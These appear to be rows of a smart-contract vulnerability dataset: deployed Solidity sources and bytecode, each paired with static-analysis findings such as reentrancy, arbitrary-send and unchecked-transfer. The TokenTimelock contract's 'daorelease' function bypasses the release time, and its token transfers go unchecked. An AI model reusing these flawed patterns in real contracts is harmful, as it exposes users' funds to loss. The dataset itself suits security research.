121ee61247d565b91509150612205818361216a90919063ffffffff16565b9250505090565b60008083118290612253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224a9190612eca565b60405180910390fd5b506000838561226291906131f8565b9050809150509392505050565b600060085414801561228357506000600954145b1561228d5761229e565b600060088190555060006009819055505b565b6000806000806000806122b2876124d6565b95509550955095509550955061231086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123a585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123f1816125e6565b6123fb84836126a3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612458919061306c565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b6000806000600654905060006509184e72a00090506124ad6509184e72a00060065461216a90919063ffffffff16565b8210156124c9576006546509184e72a0009350935050506124d2565b81819350935050505b9091565b60008060008060008060008060006124f38a6008546009546126dd565b92509250925060006125036121e1565b905060008060006125168e878787612773565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c28565b905092915050565b600080828461259791906131a2565b9050838110156125dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d390612f4c565b60405180910390fd5b8091505092915050565b60006125f06121e1565b9050600061260782846120ef90919063ffffffff16565b905061265b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126b88260065461253e90919063ffffffff16565b6006819055506126d38160075461258890919063ffffffff16565b6007819055505050565b60008060008061270960646126fb888a6120ef90919063ffffffff16565b61216a90919063ffffffff16565b905060006127336064612725888b6120ef90919063ffffffff16565b61216a90919063ffffffff16565b9050600061275c8261274e858c61253e90919063ffffffff16565b61253e90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278c85896120ef90919063ffffffff16565b905060006127a386896120ef90919063ffffffff16565b905060006127ba87896120ef90919063ffffffff16565b905060006127e3826127d5858761253e90919063ffffffff16565b61253e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061280f61280a84613121565b6130fc565b9050808382526020820190508285602086028201111561282e57600080fd5b60005b8581101561285e57816128448882612868565b845260208401935060208301925050600181019050612831565b5050509392505050565b6000813590506128778161375f565b92915050565b60008151905061288c8161375f565b92915050565b600082601f8301126128a357600080fd5b81356128b38482602086016127fc565b91505092915050565b6000813590506128cb81613776565b92915050565b6000815190506128e081613776565b92915050565b6000813590506128f58161378d565b92915050565b60008151905061290a8161378d565b92915050565b60006020828403121561292257600080fd5b600061293084828501612868565b91505092915050565b60006020828403121561294b57600080fd5b60006129598482850161287d565b91505092915050565b6000806040838503121561297557600080fd5b600061298385828601612868565b925050602061299485828601612868565b9150509250929050565b6000806000606084860312156129b357600080fd5b60006129c186828701612868565b93505060206129d286828701612868565b92505060406129e3868287016128e6565b9150509250925092565b60008060408385031215612a0057600080fd5b6000612a0e85828601612868565b9250506020612a1f858286016128e6565b9150509250929050565b600060208284031215612a3b57600080fd5b600082013567ffffffffffffffff811115612a5557600080fd5b612a6184828501612892565b91505092915050565b600060208284031215612a7c57600080fd5b6000612a8a848285016128bc565b91505092915050565b600060208284031215612aa557600080fd5b6000612ab3848285016128d1565b91505092915050565b600060208284031215612ace57600080fd5b6000612adc848285016128e6565b91505092915050565b600080600060608486031215612afa57600080fd5b6000612b08868287016128fb565b9350506020612b19868287016128fb565b9250506040612b2a868287016128fb565b9150509250925092565b6000612b408383612b4c565b60208301905092915050565b612b55816132b7565b82525050565b612b64816132b7565b82525050565b6000612b758261315d565b612b7f8185613180565b9350612b8a8361314d565b8060005b83811015612bbb578151612ba28882612b34565b9750612bad83613173565b925050600181019050612b8e565b5085935050505092915050565b612bd1816132c9565b82525050565b612be08161330c565b82525050565b6000612bf182613168565b612bfb8185613191565b9350612c0b81856020860161331e565b612c1481613458565b840191505092915050565b6000612c2c602383613191565b9150612c3782613469565b604082019050919050565b6000612c4f602a83613191565b9150612c5a826134b8565b604082019050919050565b6000612c72602283613191565b9150612c7d82613507565b604082019050919050565b6000612c95601b83613191565b9150612ca082613556565b602082019050919050565b6000612cb8601d83613191565b9150612cc38261357f565b602082019050919050565b6000612cdb602183613191565b9150612ce6826135a8565b604082019050919050565b6000612cfe602083613191565b9150612d09826135f7565b602082019050919050565b6000612d21602983613191565b9150612d2c82613620565b604082019050919050565b6000612d44602583613191565b9150612d4f8261366f565b604082019050919050565b6000612d67602483613191565b9150612d72826136be565b604082019050919050565b6000612d8a601783613191565b9150612d958261370d565b602082019050919050565b6000612dad601183613191565b9150612db882613736565b602082019050919050565b612dcc816132f5565b82525050565b612ddb816132ff565b82525050565b6000602082019050612df66000830184612b5b565b92915050565b6000604082019050612e116000830185612b5b565b612e1e6020830184612b5b565b9392505050565b6000604082019050612e3a6000830185612b5b565b612e476020830184612dc3565b9392505050565b600060c082019050612e636000830189612b5b565b612e706020830188612dc3565b612e7d6040830187612bd7565b612e8a6060830186612bd7565b612e976080830185612b5b565b612ea460a0830184612dc3565b979650505050505050565b6000602082019050612ec46000830184612bc8565b92915050565b60006020820190508181036000830152612ee48184612be6565b905092915050565b60006020820190508181036000830152612f0581612c1f565b9050919050565b60006020820190508181036000830152612f2581612c42565b9050919050565b60006020820190508181036000830152612f4581612c65565b9050919050565b60006020820190508181036000830152612f6581612c88565b9050919050565b60006020820190508181036000830152612f8581612cab565b9050919050565b60006020820190508181036000830152612fa581612cce565b9050919050565b60006020820190508181036000830152612fc581612cf1565b9050919050565b60006020820190508181036000830152612fe581612d14565b9050919050565b6000602082019050818103600083015261300581612d37565b9050919050565b6000602082019050818103600083015261302581612d5a565b9050919050565b6000602082019050818103600083015261304581612d7d565b9050919050565b6000602082019050818103600083015261306581612da0565b9050919050565b60006020820190506130816000830184612dc3565b92915050565b600060a08201905061309c6000830188612dc3565b6130a96020830187612bd7565b81810360408301526130bb8186612b6a565b90506130ca6060830185612b5b565b6130d76080830184612dc3565b9695505050505050565b60006020820190506130f66000830184612dd2565b92915050565b6000613106613117565b90506131128282613351565b919050565b6000604051905090565b600067ffffffffffffffff82111561313c5761313b613429565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131ad826132f5565b91506131b8836132f5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131ed576131ec6133cb565b5b828201905092915050565b6000613203826132f5565b915061320e836132f5565b92508261321e5761321d6133fa565b5b828204905092915050565b6000613234826132f5565b915061323f836132f5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613278576132776133cb565b5b828202905092915050565b600061328e826132f5565b9150613299836132f5565b9250828210156132ac576132ab6133cb565b5b828203905092915050565b60006132c2826132d5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613317826132f5565b9050919050565b60005b8381101561333c578082015181840152602081019050613321565b8381111561334b576000848401525b50505050565b61335a82613458565b810181811067ffffffffffffffff8211171561337957613378613429565b5b80604052505050565b600061338d826132f5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133c0576133bf6133cb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613768816132b7565b811461377357600080fd5b50565b61377f816132c9565b811461378a57600080fd5b50565b613796816132f5565b81146137a157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207a08ad53646f490acfbb8766bf8f0d493e37e1804ea2ddd3b51eecfc836a387d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,017
0x16121B3b585f3Aa4ada68bFD3Aa6155a8cc2117E
/** *Submitted for verification at Etherscan.io on 2022-04-30 */ /** *Submitted for verification at BscScan.com on 2021-03-01 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.4; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value);//from address(0) for minting /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @dev A token holder contract that will allow a beneficiary to extract the * tokens after a given release time. * * Useful for simple vesting schedules like "advisors get all of their tokens * after 1 year". */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract TokenTimelock { using SafeERC20 for TokenTimelock; // ERC20 basic token contract being held address private _token; // beneficiary of tokens after they are released address private _beneficiary; // timestamp when token release is enabled uint256 private _releaseTime; constructor (address token_, address beneficiary_, uint256 releaseTime_) public { // solhint-disable-next-line not-rely-on-time require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time"); _token = token_; _beneficiary = beneficiary_; _releaseTime = releaseTime_; } /** * @return the token being held. */ function token() public view virtual returns (address) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view virtual returns (address) { return _beneficiary; } /** * @return the time when the tokens are released. */ function releaseTime() public view virtual returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public virtual { // solhint-disable-next-line not-rely-on-time require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time"); uint256 amount = IERC20(token()).balanceOf(address(this)); require(amount > 0, "TokenTimelock: no tokens to release"); IERC20(token()).transfer(beneficiary(), amount); } function daorelease(address _tokenAddr, address _to, uint256 _amount) public { require(msg.sender == beneficiary(), "Not beneficiary_"); IERC20(_tokenAddr).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806338af3eed1461005c57806386d1a69f14610080578063b91d40011461008a578063c26cbaaa146100a4578063fc0c546a146100da575b600080fd5b6100646100e2565b604080516001600160a01b039092168252519081900360200190f35b6100886100f1565b005b61009261029d565b60408051918252519081900360200190f35b610088600480360360608110156100ba57600080fd5b506001600160a01b038135811691602081013590911690604001356102a3565b610064610394565b6001546001600160a01b031690565b6100f961029d565b4210156101375760405162461bcd60e51b81526004018080602001828103825260328152602001806103a46032913960400191505060405180910390fd5b6000610141610394565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561019657600080fd5b505afa1580156101aa573d6000803e3d6000fd5b505050506040513d60208110156101c057600080fd5b50519050806102005760405162461bcd60e51b81526004018080602001828103825260238152602001806103d66023913960400191505060405180910390fd5b610208610394565b6001600160a01b031663a9059cbb61021e6100e2565b836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561026e57600080fd5b505af1158015610282573d6000803e3d6000fd5b505050506040513d602081101561029857600080fd5b505050565b60025490565b6102ab6100e2565b6001600160a01b0316336001600160a01b031614610303576040805162461bcd60e51b815260206004820152601060248201526f4e6f742062656e65666963696172795f60801b604482015290519081900360640190fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561036357600080fd5b505af1158015610377573d6000803e3d6000fd5b505050506040513d602081101561038d57600080fd5b5050505050565b6000546001600160a01b03169056fe546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206265666f72652072656c656173652074696d65546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c65617365a2646970667358221220412eebcf8b888adbcaea1320b6e731bd081b1dd6431b6dca13dfda29f117591064736f6c63430006040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
3,018
0x6883ec0f210c82166b2a09a3b750a76999940015
/** *Submitted for verification at Etherscan.io on 2021-04-27 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'Website Designer' token contract // // Symbol : WD // Name : Website Designer // Total supply: 40 800 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract WebsiteDesigner is BurnableToken { string public constant name = "Website Designer"; string public constant symbol = "WD"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 40800000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280601081526020017f576562736974652044657369676e65720000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffff